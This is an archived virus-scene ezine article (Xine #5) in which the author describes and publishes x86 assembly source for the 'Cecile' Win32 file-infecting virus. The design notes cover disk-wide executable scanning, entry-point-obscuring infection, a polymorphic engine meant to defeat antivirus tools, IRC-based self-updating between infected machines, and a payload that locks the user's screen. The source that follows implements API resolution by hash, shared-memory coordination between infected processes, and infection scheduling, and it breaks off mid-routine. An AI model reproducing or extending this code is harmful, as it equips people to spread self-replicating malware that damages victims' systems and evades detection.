Copy Link
Add to Bookmark
Report

Xine - issue #5 - Phile 206

eZine's profile picture
Published in 
Xine
 · 4 May 2024

 

Ú-----------------------------¿
| Xine - issue #5 - Phile 206 |
À-----------------------------Ù





;
;
; StarZero present the cecile virus
;
;
;
; The code provided here is cautious, can be defectuous or have unstable
; behaviour, it has been tested on various conditions, and passed the tests,
; if something goes wrong, don't point at me and shout I'm a lamer as some
; poeple easily do so. I'm just programming for own pleasure, learning and
; studying new topics, so I do what I think interresting, but I'm not
; renumerated and I'm even not a professional. Im just an human, doing errors
; and learning from them, but Im also a very busy coder. If you meet any
; problems or bugs, better than critizing, please notify them to me. I will
; see what I can do. thanks
;
; I started this virus in end of august 2000 with a mini idea, why not make
; a virus based on 3 (after 4) flexibe routine, by using pointers to routines.
; Well, at begining I planned 3 weeks to write this. Then finally, many
; technology came after and made the project growing dramatically.
;
; As usual, I rewrote everything from the beginning, and each time trying
; to improve already done work. This virus is very different of other in
; his philosophy/coding style. Let have a small tour of the virus
;
; + The first point in this virus is his special residency, a common virus
; start, modify the system, derivate some function or not, stay in the
; memory and then leave, this virus do other way. The virus run, allocate
; threads, and return to host. Threads use some interprocess to communicate
; with other cecile hinstances. (Well, without watching any other sources)
; To perform such action, it use a given client/server mechanism on win32
; machine to manage windows. To have a general memory between hinstances,
; the virus use a common shared temporary file wich vary from a machine
; to an other.
;
; + An other interprocess communication ability was provided by a memory
; mapped file that each hinstance try to open, this file is different on
; each machine, this memory mapped file is then filled with needed
; structure.
;
; + Queen/bee ability are then possible as viruses are able to communicate
; in an easy way, receiving and sending message. The virus first register
; themself to a server. If the server die, it's able to be remplaced by a
; bee. The queen never open a file if there exist at least one bee runned,
; the bee are there to infect file, the server find just executable among
; all the fixed disk connected on the machine. The queen/bee have a timer
; attached to their windowproc wich force them to update their ping each
; 50 ms, for detecting server crash, and remplace it.
;
; + The searching mechanism is not a standard recursive directory tree,
; using the common shared memory, it's able to resist a cold boot, a server
; crash of what ever else. It also use the timer to scan a directory only
; each seconds, making less suspect disk activity (I think it's enough that
; way), then each 2.5 seconds, it try to infect a file.
;
; + File are registered in the common memory, it have a maximum of 5000
; saved filenames, each file have a dword telling about his state, if the
; file was denied because already open, if the file was not a PE, if the
; file was not a MZ, if it was infected, infected with wich version ? If it
; need to be updated, etc etc etc...
;
; + For that, it cooperate via the common memory with the infection module
; by two way, providing the must updated image of the virus to drop to file,
; and also via sending a series of value passed to the infector. As I said
; it's not the queen that infect the file, it may be a much recent virus
; with other infection technique. It drop a virus image put in a bank. Bank
; are free common memory free for every infection process, there's 32
; (yes I know, it's a bit excessive).
;
; + The infection process is a bit complex, improving axelle bailey virus
; infection, this one totally kill the relocs, as they don't exist anymore
; in a cleaner way wich make less heuristic the virus presence. Today on
; normal application programs, after it process a complex, but compatible
; with other infection style infection, wich mean that the return to host
; stay the same and mean that if you change on disk the virus, the binary
; will still work. This ability of flushing himself to disk is funky eh :-)
;
; + The infection was previewved via a call patching, this can be builded or
; can be hooked via EPO, to perform epo, the virus don't watch for an api,
; but make a mini program tracing from the entrypoint, instruction by
; instruction, looking for the good call, and not one of the first calls.
; This mean for disinfection, you need to restore this call. This call is
; not derivated directly outside the section, but to a routine dropped on
; the code section witch will dispatch to the polymorphic entrypoint, and
; there's no hardcoded jump outside the code section, and the code section
; is not writable. :)
;
; + To perform tracing, the infection use a very small 8086 disassembler
; able to disassemble up to 486 instructions, it works quite well and passed
; many tests, it's not the first of this style I wrote, this one was very
; optimized and finally took just 2,5 kilobyte, enjoyable no ? So I tought I
; may apply it to Cecile, wich make the virus a bit much,mmm sexy :)
;
; + The infection dispatch to the poly module, the polymorphic engine was
; the primary reason of this virus, as aldebaran, I hope this virus will
; make honor to it, it's also very nice, and I hope, will make avers
; work quite much difficult. The input/output of this poly will be the
; reference for future poly for cecile, if I decide to swap it a day.
;
; + On 20 november, the virus show his payload, once again, it's a graphical
; payload, the virus swap resolution to 640x480x16 bpp and make a nice
; little opengl animation. The opengl animation assume a 3D world, with
; lights, camera, and rotation, don't think it's hard to do, it's about 800
; lines. It display three plane of squares passing from far to the bottom
; of the screen, where little squares describe the copyright text. It also
; try annoy the user and do not permit him to swap to other application.
;
; + The network module is not a worm, but a normal network module permitting
; to viruses principally to exchange datas, updated modules in fact between
; them, for that, they use a multi-layer system. Multilayer was done in
; compatibility between routines. In fact, there's 5 layers, one who manage
; the internet connection, the level 1, one who manage irc operations, layer
; 2, one who manage channel operation level 3, one who manage the
; virus-2-virus protocol level 4, and the data exchanging protocol, level 5.
;
; + Finally, irc is usefull as a meet point, cecile connect with 3 variable
; letters, and then 4 digits that is their code. The letters vary in function
; of the digit, then everybody can't be a cecile hinstance, they join a
; channel, wich vary each week, then display that they are aivable by
; sending a message. Messages are locked with a CRC, the crc depend of
; sender. Then it search for an other aivable cecile connected, and start
; connection. They both give their module versions. If any module version is
; updated, then they request the data sending. Data sending is a series of
; 50 byte packets of module x, wich contain a packet CRC check, an
; encryption, a total crc check, and a few much verification. Then it may
; update the virus.
;
; + Ah, yes I forgot to talk about the updating mechanism, the updating
; mechanism work in two ways, the virus may flush module to bank 33, at init
; but for that, you need that the virus is running on the machine. So, I
; put an other way of updating, by dropping the module at bank 34, if the
; modules at bank 34 are better than the one in bank 33, then the virus
; rebuild just modules from bank 34. To avoid updating while copying image
; to virus bank, it use an userlevel method. If nobody is using bank 33,
; then bank 34 is flushed to bank 33. Also, modules are limited to be
; 8 ko long, but I think it's sufficient, well anyway, all that is constants
; and can be modified quite easily.
;
; + Also, the virus use two things a bit different, first of all, it doesn't
; use delta pointers as register, but a macro call loadpointer. Some poeple
; may think it's useless, no, it's okay for many reason, 1st coz the kernel
; don't use too much the ebp but prefer to play with stack. Also, the
; infection module use ebp for other reasons, and it's not something bad.
;
; + The virus also use a macro to call api. There's two calling method. If
; the api is normal, then the api memory entrypoint is calculated real-time
; and not saved to a virus table. In some apps, the api calling have to
; be very fast, as in the payload, the virus then manage his own memory
; table in a temporary buffer, a bit of stack as exemple. The Fast apicall
; and apicall are two routines that call apis just via the crc,
;
; + The virus have internal library handle, to keep the win32 spirit of
; importing library, the virus have 16 own imported library handle. So
; module can import their own library, like winsock (12) or user32 (1)
; kernel(0).
;
; + Also, the virus is able to perform a flexible linking from module to
; kernel/other module function to power up their possibility. Instead of
; sharing many function, this virus share just a few one, given by number
; code, This mean that two different kernel with different shared function
; will be not compatible, but that's one of cecile limitation
;
; okay, hope it pleased you, today I'm a bit bored of this virus, I want
; to pass to something else, keep tuned, and finally, this virus is
; an offrand to a person "far" from me, in all sense of the word, c'est la
; vie...
;

.586P
.model flat, stdcall

extrn ExitProcess:Proc
extrn CreateWindowExA:Proc

.data
db 0
.code

start: mov eax,00400000h
jmp startnow

call CreateWindowExA

VirusStart:
starthere:

;
; a bee is runned, we participate to the comunauty
;

loadpointer macro destination,origin,tst

call &tst&_map
&tst&_map: add dword ptr [esp],&origin&-&tst&_map
xchg eax,dword ptr [esp]
mov dword ptr &destination&,eax
pop eax

endm

Fapicall macro apicode, handle, kkva

mov edx,handle
loadpointer ecx,fastcall,&kkva&
mov eax,apicode
call ExtendedApiCall

endm

apicall macro apicode, handle

mov edx,handle
mov eax,apicode
call ApiCallit

endm

structfil equ 260+4+4+4
nullsize equ 1024+512
bankcommsize equ 32
banksize equ 0FFFFh
modulesize equ 8192

filsize equ 8096+(structfil*5000)+(banksize*34)+(bankcommsize*32)+4

;
; mapped file structure
;
; 0 - 16 queen self data managing
; 16 - 4096 bees register zone
; 4096 - 8096 file finder reserved data
; 8086 - structfil * 5000 saved found file data
; bankcommsize * 32
; banksize 0-32 + 33 and 34 wich are managing
;
; extended header was added in finder area + 1024+768
;


call Init0


startnow:

call Api_init

loadpointer edx,user32,i2 ; load user32.dll
mov ecx,0 ; getmodul it
mov eax,1 ; into dll bank 1
call loadhandle

cmp eax,0
je skiploadit

sub esp,12
mov edx,esp
mov dword ptr [edx],12
mov dword ptr [edx+4],0
mov dword ptr [edx+8],0

loadpointer ebx,InitThread, i1

push eax
push esp
push 0
push 0
push ebx
push 0
push edx
apicall 0CA2C0A90h,0 ; Create Thread

pop eax

mov eax,2
call ModuleCall

add esp,12
skiploadit:

jmp Fini0

InitThread:

; int 3
;
; push 4 ; PAGE_READWRITE
; push 1000h
; push 4096
; push 0
; call VirtualAlloc
;
; mov esp,eax
; add esp,4096

mov ecx,8*32
sub esp,ecx
loadpointer edx,fastcall,fs1
mov edi,esp
mov dword ptr [edx],edi
xor eax,eax
repz stosb

sub esp,256*3
mov eax,esp

push eax
push 'ce0'

push esp
push 1
push 000F001Fh
apicall 837E5818h,0 ; OpenFileMappingA

pop edx
pop edx

mov edi,1

cmp eax,0
jne startfromhere




mov eax,edx
push eax

lea edx, [eax+4]
mov dword ptr [eax],128

push eax
push edx
apicall 2AEB9EB2h,0 ; GetComputerName

pop eax

add eax,4
push eax
mov edx,dword ptr [eax]

mov ecx,4
getmaic:
cmp dl,'0'-1
ja noproblem
mov dl,'Z'

noproblem:

rol edx,8
loop getmaic

and edx,00FFFFFFh
mov dword ptr [eax-4-4], edx
xor edx,edx

gotintothat:

movzx ecx,byte ptr [eax]
add edx,ecx
rol edx,5
inc eax
cmp byte ptr [eax],0
jne gotintothat

sub esp,4

pop eax
push edx

push eax
push 256
apicall 148f1962h,0 ; gettempath

pop eax

mov edx,esp
push eax

lea ecx,[edx+4]

push ecx

push ecx
push eax
push edx
push ecx

apicall 0A897A690h,0 ; gettempfilename

pop ecx

mov edx, 3 ; open_always

loaditagain:

sub esp,12
mov eax,esp
mov dword ptr [eax],12
mov dword ptr [eax+4],0
mov dword ptr [eax+8],0

push ecx
push edx

push 0
push 80h
push edx
push eax
push 03 ; file sharing
push 0C0000000h
push ecx
apicall 0193E83EEh,0 ; CreateFileA

cmp eax,-1
jne makethatthat

pop edx
pop ecx

add esp,12

cmp edx,2
je skiploading

mov edx,2
jmp loaditagain

makethatthat:

add esp,8

mov ecx,esp

push 'ce0'
mov edx,esp

push edx
push filsize
push 0
push 04h
push ecx
push eax
apicall 097E2AF98h,0 ; CreateFileMapping

add esp,12

mov edi,0

startfromhere:

push 0
push 0
push 0
push 000F001Fh
push eax
apicall 03D547DB1h,0 ; MapViewOfFile

cmp edi,1
je sfmskipit

push eax
mov edi,eax
add edi,8
xor eax,eax
mov ecx,nullsize
repz stosb
pop eax
mov dword ptr [eax],'!CeC'

sfmskipit:

mov dword ptr [eax+8096+(structfil*5000)],0
mov dword ptr [eax+filsize-bankcommsize],0

call SetMappedFile

push 0
apicall 1017d1A1h,0 ;GetModuleHAndle

mov ecx,'0EC'
push ecx
mov edx,esp

push edx
push eax

sub esp,40
mov ebx,esp
mov dword ptr [ebx],0
loadpointer [ebx+4],winproc,t1 ; window proc
mov dword ptr [ebx+8],0
mov dword ptr [ebx+12],0
mov dword ptr [ebx+16],eax ; Module handle
mov dword ptr [ebx+20],0
mov dword ptr [ebx+24],0
mov dword ptr [ebx+28],0
mov dword ptr [ebx+32],0
mov dword ptr [ebx+36],edx ; name

push ebx
apicall 0D48A96AAh,1 ; RegisterClassA
add esp,40

pop eax
pop edx

push 'VD0'
mov ecx,esp

push 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push ecx
push edx
push 0

apicall 7099fb9ch,1 ; CreateWindowEx

loadpointer ebx,windowproc01,g354
mov dword ptr [ebx],eax

pop ecx
pop ecx

push eax
push eax

push eax
call GetMappedFile
mov eax,dword ptr [eax+4]
pop edx

loadpointer ecx,VersionDirty,popo2
mov ecx,[ecx]

push ecx
push edx
push WM_REGCLIENT
push eax
apicall 0FBAC7F60h,1 ; SendMessageA

pop edx

push eax

push edx
push 0
push 50
push edx
push edx
apicall 061a186d0h,1 ; SetTimer
pop edx

pop eax

cmp eax,0
jne gohere1

call GetMappedFile
mov dword ptr [eax+4],edx

gohere1:

pushad
call CheckUpdated ; Check update consistency
popad

mov eax,edx

pushad
mov eax,3
call ModuleCall
popad

gohere:

push eax
sub esp,44
mov edx,esp

push edx

push 0
push 0
push eax
push edx
apicall 03BAC79F3h,1 ; GetMessageA

gomimi:
cmp eax,0
pop edx
je gomimi1

push edx
push edx
apicall 050d9920Ch,1 ; TranslateMessageA
apicall 05BFFA45Ch,1 ; dispatchMessageA

skiski:
add esp,44
pop eax
jmp gohere

gomimi1:

push 0
apicall 790c0575h,0 ; ExitThread

SetMappedFile:
call getitmap
ret

getitmap:
xchg dword ptr [esp],ecx
pushad
lea edx,[ecx+mapped-getitmap+1]
mov dword ptr [edx],eax
popad
xchg ecx,dword ptr [esp]
ret

GetMappedFile:

call getitmap1
ret
getitmap1:
mov eax,dword ptr [esp]
lea eax,[eax+mapped-getitmap1+1]
mov eax,dword ptr [eax]

ret

user32: db 'USER32.DLL',0

fastcall: dd 0
mapped: dd 0
windowproc01: dd 0

;
; The Api call system (2/10/2K) - (last rev 6/12/2K)
;
;
; The principe of this api system call is that when the program call the api,
; this system will re-calculate the api call, loosing time you will say, but
; we have two advantages, no need of long name/crc table, and no need of long
; buffer to receive adresses, and if the search is fast enough, then I think
; that's okay to be done
;
; Api calling system was build in order to let modules call any api of any dlls
; not depending from these that the kernel import, now it assume:
;
; - find the kernel by finding in the import table for exported address
; of KERNEL32 if not found, get the last dll and then
; - scan in the lib about loaded KERNEL, if not
; ( - hook exception and test hardcore address,
; the virus don't get runned in such case
;

Api_init:

loadpointer ecx,savebase, api1
mov dword ptr [ecx],eax ; set the PE image base init
mov esi,eax

mov edx,[esi+03Ch] ; load the Pe header of PE
lea edi,[esi+edx] ; edi point to it in mem

mov edx,dword ptr [edi+128] ; load import table
add edx,esi

loopagain75:

mov ebx,dword ptr [edx+12] ; name rva
add ebx,esi

cmp dword ptr [ebx],'NREK' ; 'NERK'
jne stoombabase

call checkkern ; check if it's kernel32.dll

stoombabase:

add edx,20

cmp dword ptr [edx],0 ; check all libs
jne loopagain75

mov eax,dword ptr [edx-4] ; load the last imported
add eax,esi ; lib
mov eax,dword ptr [eax] ; get an import
call getcheckup ; loop to the MZ

mov esi,eax
add eax,dword ptr [eax+03Ch] ; get the PE
mov edx,dword ptr [eax+128] ; the the import
add edx,esi

loopagain76:

mov ebx,dword ptr [edx+12] ; name rva
add ebx,esi

cmp dword ptr [ebx],'NREK' ; 'NERK'
jne goaway669

call checkkern ; recheck kernel32

goaway669:

add edx,20 ; get next entry in table

cmp dword ptr [edx],0
jne loopagain76 ; go to there

goaway6670: ; houston we got a problem!

push dword ptr FS:[0] ; save old SEH

loadpointer ebx, pseudoseh, api85 ; SEH point to teh SEH

push ebx
push 0

mov dword ptr FS:[0],esp

mov eax, 07FFE0000h ; check win2K kernel

instr1:
cmp word ptr cs:[eax],'ZM' ; exception fault ?
instr2:
je regkernel ; go there

mov eax, 07FFF0000h ; then check NT4 kernel

cmp word ptr cs:[eax],'ZM' ; exception fault ?
je regkernel

mov eax, 0BFF70000h ; get win9x kernel

cmp word ptr cs:[eax],'ZM'
je regkernel

mov eax, 0BFF60000h ; get WinMe kernel

cmp word ptr cs:[eax],'ZM'
je regkernel

; houston, we have a problem :[
; in this extreme case, we couldn't at all reach kernel, we are going to crash

regkernel:

loadpointer ebx,kernelbase, wfk ; then save it !
mov dword ptr [ebx],eax ;

pop eax
pop eax ; fix stack

pop dword ptr FS:[0] ; restore SEH

ret

pseudoseh:

mov eax,dword ptr [esp+2ch] ; load the thread state
add dword ptr [eax+0b8h],instr2-instr1 ; go to next instruction

xor eax,eax
ret

checkkern:

cmp dword ptr [ebx+4],'23LE' ; KERN - EL32
jne stoombabase5

pop ecx
jmp stambase10

stoombabase5: ; go there and everything
; is okay!
ret

stambase10:

mov eax,dword ptr [edx+16] ; load an API
add eax,esi
mov eax,dword ptr [eax] ; address

call getcheckup ; go to MZ

jmp continueproc

getcheckup:

and eax,0FFFF0000h ; get advantage of the fact
; that PE are loaded every
loaduntillkernel: ; 10000h , wich
; permit 65535 process
cmp word ptr [eax],'ZM' ; runned on a machine
je wefoundkernel ; loop untill MZ

sub eax,010000h
jmp loaduntillkernel ; check every 10000h

wefoundkernel:
ret

continueproc:

loadpointer ebx,kernelbase, wfk186
mov dword ptr [ebx],eax ; save the kernel base

ret

ApiCallit:

xor ebx,ebx

Intrn_ApiCallit:

pushad

loadpointer esi,kernelbase,ap1 ; load the lib handle
mov esi,dword ptr [esi+edx*4] ; esi = lib loaded

mov edi,dword ptr [esi+03Ch] ; go to export table
add edi,esi

mov edi,dword ptr [edi+120] ; go to export table
add edi,esi
mov ecx,dword ptr [edi+24]

mov edx,dword ptr [edi+32] ; name RVA
add edx,esi

getapinow:
call CheckApi ; check if it's good
; name
loop getapinow ; untill all checked

popad
xor eax,eax ; error code return
dec eax
ret

CheckApi:

push ecx ; save id/loc
push edx

mov edx,dword ptr [edx] ; get name rva
add edx,esi

xor ebx,ebx ; ebx will receive
; crc
getitagain:

push edx
movzx edx,byte ptr [edx] ; load the ascii value
add ebx,edx ; add it to the crc
pop edx

inc edx ; next char
rol ebx,3 ; rol ebx,3

cmp byte ptr [edx],0 ; untill all the
jne getitagain ; api name was calcula.

cmp ebx,eax ; requested api ?
jne gotittatam ; no check next

pop edx
pop ecx ; restore id/loc
pop ecx ; stack value

sub edx,dword ptr [edi+32] ; substract api ref
sub edx,esi ; base and mz base

shr edx,1 ; divide by 4

mov ebx,dword ptr [edi+36] ; load api index
add ebx,esi ; plus base
movzx ecx,word ptr [edx+ebx] ; load api core ref

shl ecx,2 ; multiply it by 4
mov edx,dword ptr [edi+28] ; load api adress base
add edx,esi

mov ebx,eax ; save crc
mov eax,dword ptr [edx+ecx] ;
add eax,esi

mov dword ptr [esp+20h-4],eax ; put eax = 3

cmp dword ptr [esp+20h-4-4-4-4],15 ; check ebx = 15 ?
jne dontregisterit ; special code for registering

mov ecx,dword ptr [esp+20h-4-4] ; load old ecx
mov ecx,dword ptr [ecx] ; load pointer in it

sub ecx,8

getagainme5:
add ecx,8 ; check for a free
cmp dword ptr [ecx],0 ; place in it
jne getagainme5

mov dword ptr [ecx],ebx ; save crc
mov dword ptr [ecx+4],eax ; save adress

dontregisterit:

popad ; restore everything

dontcallapi:
cmp byte ptr [eax],0CCh ; int 3 there ?
je dontcallapi ; really then go away

jmp eax

gotittatam: ; not requested api

pop edx
pop ecx

add edx,4 ; return and check
ret ; next api

ExtendedApiCall:

pushad

mov ecx,dword ptr [ecx] ; load api crc buffer
sub ecx,8

getnext277:
add ecx,8

cmp dword ptr [ecx],eax ; have we arleady
je directcallit ; searched that api

cmp dword ptr [ecx],0 ; check if ecx = 0
jne getnext277

popad

mov ebx,15 ; set save to buffer
jmp Intrn_ApiCallit ; to Api finder

directcallit:

mov eax,dword ptr [ecx+4]
mov dword ptr [esp+20h-4],eax ; restore API adress

jmp dontregisterit ; call it

loadhandle:

push eax ; save handle to be fixed with

cmp ecx,0 ; watch if you need a loadlib
je gotbyebye ; or a get module

push edx
apicall 0BAE81A01h,0 ; LoadLibraryA from kernel
jmp getthere

gotbyebye:

push edx
apicall 01017D1A1h, 0 ; GetModuleHandle in (0) (krnl)

getthere:

pop ecx
loadpointer edx,kernelbase, ll1

mov dword ptr [edx+ecx*4],eax ; save adress to khandles

ret

savebase: dd 00400000h
kernelbase: dd 00000000h ; 15 library handle free

khandles: dd 15 dup (0)

;
; What does the Server/client assume ?
;
; Well, the server client use a prebuilded windows server/client mode in
; order to work, thus permetting with api to access an easy interprocess
; communication and messaging between virus hinstances. By creating his own
; window proc, the window proc wait for message that are sent each time the
; virus is run. This client server mode can be seen as a queen/bee colony, as
; it have many aspects of it, having a queen, having workers, assigning task
; and develloping, expanding the colony.
;
; the virus handle a few message : 1st stable workin 1/10/2K
;
; - A timer will tell to the server to find a much PE
; and/or updating the timer of the routine (client/serv)
; - A routine that is used only by the server, it register client
; to the common memory when they are runned
; - An infection message that specify a location in the common
; memory where the file name is stocked, then prepare
; for a module calling, then pass control to module
; - If the process is closed, the server is able to select an
; other and swap himself
; - A client server ping pong system used when a time out
; has been detected, used to see if client disconnected
; coz process crashed or such
; - An updating message wich can be called to the server by any
; External virus hinstance, this making cecile an
; "updatable" virus alike. See modulisation topic
;
; Alternatively, the server assume also the passing trough module, if infection
; is send to remote process, polymorphic encryption is directly send to the
; current process and not given as message, coz the message could fail, if
; as exemple, the message is sent in the dead time of a closed or crashed
; process and could let, the virus unencrypted, wich could be very dangerous
; for us.
;

WM_REGCLIENT equ 50701
WM_INFECTEXE equ 50702
WM_VIRPING equ 50703
WM_UPDATE equ 50704

winproc:

hwndval equ 4
hmsgval equ 8
wpamval equ 12
lpamval equ 16

xor eax,eax

mov ebx,dword ptr [esp+hmsgval]

cmp ebx,01 ; WM_CREATE
je returnnull
cmp ebx,05 ; WM_RESIZE
je returnnull
cmp ebx,WM_REGCLIENT ; our register message
je regclient
cmp ebx,WM_INFECTEXE ; our client message
je Infectexe
cmp ebx,WM_VIRPING ; dead test
je ReturnPing
cmp ebx,WM_UPDATE ; update code and add
je updatecode9 ; new version
cmp ebx,113h ; WM_TIMER
je timerset
cmp ebx,16 ; WM_CLOSE
je switchserver

translatemessage:

pushad

push dword ptr [esp+20h+lpamval]
push dword ptr [esp+20h+4+wpamval]
push dword ptr [esp+20h+4+4+hmsgval]
push dword ptr [esp+20h+4+4+4+hwndval]

apicall 023ED6274h,1 ; DefWindowProcA

mov dword ptr [esp+20h-4],eax
popad

returnnull:

ret 16

registernet0:

pushad

call GetMappedFile ;

push eax
mov eax,dword ptr [eax+1024+768] ; load the net handle of it

push eax ; if zero then it's bad

cmp eax,0
je skip_loadit

push 0
push 0
push WM_VIRPING
push eax
apicall 0FBAC7F60h,1 ; SendMessageA
; the trust pass ,
; Alife or Not ?
pop edx
pop ebx ; restore

cmp eax,edx
je returnerror ; is it still alife ?

skip_loadat0:

loadpointer edx,windowproc01,v119 ; no then register this
mov eax,dword ptr [edx] ; cecile handle to the
mov dword ptr [ebx+1024+768],eax ; value

popad
mov eax,1
ret

skip_loadit:

pop edx ; return it normally
pop ebx
jmp skip_loadat0

returnerror:

popad ; return with error,
xor eax,eax ; network registered
ret

updatecode9:

pushad

mov ecx,dword ptr [esp+20h+wpamval]
call UpdateThisModule ; update from remote
; process
popad

xor eax,eax
ret 16

ReturnPing:

mov eax,dword ptr [esp+hwndval] ; return window value
ret 16

regclient:

mov edx,dword ptr [esp+wpamval] ;
mov ecx,dword ptr [esp+lpamval]

push edx

call CheckUpdated ; see if + recent

call GetMappedFile
lea edx,[eax+16]

pop eax

mov ecx,256

goaway: cmp dword ptr [edx],eax ; watch for a zero
je setzero ; in the first
; zone
add edx,12

cmp dword ptr [edx], 0 ; forget it
je regit

loop goaway ; loop to it

ret 16

regit:
push eax
mov dword ptr [edx],eax ; save window handle
push edx
apicall 17357e7Ah,0 ; GetTickCount
pop edx
mov dword ptr [edx+4],eax ; set last counted
pop eax

setzero:

mov dword ptr [edx+8],0 ; nullify last counted
ret 16

;timerproc:
;
; ret 16

timerset:

call GetMappedFile ; each 50 millisec
call CleanTimeOut ; watch if some cecile
lea edx,[eax+16] ; is not dead

mov eax,dword ptr [esp+hwndval]

cmp dword ptr [edx-12],eax ; check if we are serv
je weareserver

mov ecx,64 ; check between
sub edx,12 ; 64 1st users

getnextimer:

add edx,12 ;
cmp dword ptr [edx],eax ; any of it equal our ?
je updatetimer

loop getnextimer ; go to next timer

xor eax,eax
ret 16

updatetimer:

push edx
apicall 17357e7Ah,0 ; GetTickCount
pop edx

mov dword ptr [edx+4],eax ; update our life test

ret 16

weareserver:

push edx
apicall 17357e7Ah,0 ; GetTickCount
pop edx

mov dword ptr [edx-8],eax ; update server

inc dword ptr [edx-4] ; increment counter

cmp dword ptr [edx-4],50 ; every sec
ja InfectAFile

pushad

mov ecx,10

benbenit:

add ecx,10

cmp dword ptr [edx-4],ecx ;
jne skipfindFax ; every 50 sec

cmp ecx,40
jne benbenit ; check 4 times

jmp skipfindit

skipfindFax:

call FindAFile ; find files

skipfindit:

apicall 17357e7Ah,0 ; GetTickCount

mov dword ptr [esp+20h-4],eax ; update ping
popad

mov dword ptr [edx-8],eax ; update ping

skipit:
ret 16

switchserver: ; server died

call GetMappedFile ; load mapped file
push eax
call CleanTimeOut ; clean the timeouts
pop edx
mov ebx,dword ptr [esp+hwndval]

cmp dword ptr [edx+4],ebx ; the window is the
jne skipthisvoo ; server ?

mov dword ptr [edx+4],0 ; yes, then nuliffy
mov dword ptr [edx+8],0 ; everyhting

add eax,4
mov ecx,64 ; fix the server

getnext77: ; is the current bee

add eax,12

cmp dword ptr [eax],0 ; load a cecile running
jne goaway66

loop getnext77

skipthisvoo:

xor eax,eax
jmp PostQuitit ; and leave!

goaway66:

mov ebx,dword ptr [eax] ; we found one ?
mov ecx,dword ptr [eax+4]

mov dword ptr [edx+4],ebx
mov dword ptr [edx+8],ecx ; set the queen

mov dword ptr [eax],0 ; nullify the current
mov dword ptr [eax+4],0 ; cecile bee
mov dword ptr [eax+8],0

PostQuitit:

push 0
apicall 07818C6Bh,1 ; PostQuitMessage

ret 16
; jmp translatemessage

CleanTimeOut:

; receive in eax the

pushad
push eax
apicall 17357e7Ah,0 ; GetTickCount
pop edx

mov ecx,64
add edx,4

getnext97:

add edx,12

cmp dword ptr [edx],0 ; if null ?
je getnext99

cmp eax,dword ptr [edx+4] ; if smaller then
jb getnext99 ; the ping

push ecx
mov ecx,dword ptr [edx+4]

sub ecx,eax
neg ecx ; see last ping ?

cmp ecx,800 ; server should be alife that
pop ecx ; moment
jb getnext99

push eax
pushad

push 0
push 0
push WM_VIRPING ; ping it
push dword ptr [edx]
apicall 0FBAC7F60h,1 ; SendMessageA
; the trust pass ,
; Alife or Not ?
mov dword ptr [esp+20h-4],eax
popad

cmp dword ptr [edx],eax ; if alife
pop eax
jne cleanit

mov dword ptr [edx+4],eax ; set ping
jmp getnext99

cleanit:

mov dword ptr [edx],0
mov dword ptr [edx+4],0
mov dword ptr [edx+8],0 ; nullify client !

getnext99:
loop getnext97 ; do it for all

goaway785:
popad
ret

InfectAFile:

mov dword ptr [edx-4],0 ; set last infect null
call LoadAclient ; load a client

lea ebx,[edx+nullsize-8+1024+1024+8] ; point to file offset

loadnext:

cmp dword ptr [ebx+8],0
je finishallthat0

bt dword ptr [ebx+4],31 ; test if already
jc skipinfect ; had error ?

cmp dword ptr [ebx+4],4000h ; already infected ?
jb skipinfect1

push eax
push edx
mov eax,dword ptr [ebx+4] ; load the value
sub eax,4000h

call getvirusminiversion

cmp edx,eax ; too advanced version ?
pop edx
pop eax
jbe skipinfect ; see if u need to update it

skipinfect1:

cmp dword ptr [ebx+4],2 ; open error ?
jne goaway95

mov ecx,dword ptr [edx-8]
and ecx,111111b ; 1 chance over 64 of cleaning
; it
cmp ecx,111111b
jne skipinfect

goaway95:

push eax
call LoadABank ; load a bank for infection
pop ecx

cmp eax,-1 ; no bank ?
je finishallthat0

add ebx,8 ; bank okay

push ebx

push eax
call GetMappedFile
sub ebx,eax
pop eax ; set bank pos relative

pushad

push eax
push ebx
push WM_INFECTEXE ;
push ecx
apicall 0FBAC7F60h,1 ; SendMessageA

mov dword ptr [esp+20h-4],eax
popad

pop ebx

mov dword ptr [ebx-4],eax ; set file stat
jmp finishallthat0 ; nothing to infect much

skipinfect:
add ebx,8 ; do it again
getthisone:
inc ebx
cmp byte ptr [ebx-1],0 ; end of name ?
jne getthisone

jmp loadnext ; load next

finishallthat0:

xor eax,eax
ret 16

LoadAclient:

mov ecx,64 ; get a client
mov eax,edx

getbla1:
cmp dword ptr [eax],0 ; load untill a non void bee
je blabla1

cmp dword ptr [eax+8],0 ; and non-busy
je blabl2

blabla1:

add eax,12
loop getbla1

mov eax,dword ptr [edx-0Ch]

ret

blabl2:
mov eax,dword ptr [eax]
ret

LoadABank:

push edx
call GetMappedFile ; load the mapped file

lea edx,[eax+8096+(5000*structfil)] ; load the mapped pos
mov ecx,32

getbankit:

cmp dword ptr [edx],-1 ; check if pos there
je quitbank ; is full busy

bt dword ptr [edx],ecx
jc getnextbank ; check if loaded

mov eax,dword ptr [edx] ; set busy
rol eax,cl
inc eax
ror eax,cl
mov dword ptr [edx],eax

mov eax,ecx

pop edx ; finish
ret

getnextbank:

loop getbankit ; check 32 possibility

pop edx

ret

quitbank:

xor eax,eax ; error bank
dec eax
ret


unloadbank:

push edx
call GetMappedFile

lea edx,[eax+8096+(5000*structfil)]

mov eax,dword ptr [edx]
rol eax,cl
and al,11111110b ; deload bank
ror eax,cl
mov dword ptr [edx],eax
pop edx

ret

Infectexe:

push ebp
push edi
push esi

mov esi,dword ptr [esp+8+4+wpamval]
call GetMappedFile
add esi,eax
push esi

call BuildModulesImage ; flush module
push ecx ; virus size

call LoadModuleTable ;
push edx

call incuservalue ; set +1 user value

call getvirusminiversion ; now we cant change the code
push edx

mov ecx,dword ptr [esp+10h+8+4+lpamval]
push ecx
call CopyVirusImageToBank ; set bank 33 to must done bank
pop ecx

call LoadBankInfo

mov ebp,edx
mov dword ptr [ebp+error],0
mov ecx,dword ptr [esp+10h+8+4+lpamval]
mov dword ptr [ebp+virusbank],ecx
pop edx ; load version (40)
mov dword ptr [ebp+version],edx
pop edx ; table offset
mov dword ptr [ebp+valuefill],edx
pop ecx ; virus size
mov dword ptr [ebp+virsize],ecx

mov edx,eax

pop esi
mov eax,0
call ModuleCall ; call infect

pop esi
pop edi
pop ebp

push eax
call decuservalue ; set zero user value
pop eax

ret 16

LoadBankInfo:

call GetMappedFile
mov ebx,eax
add ebx,8096+(structfil*5000)+4

mov eax,64
dec ecx
xor edx,edx
mul ecx

push eax

mov eax,banksize
mul ecx

lea eax,[ebx+eax+(32*64)] ; return mini buffer loc
pop edx
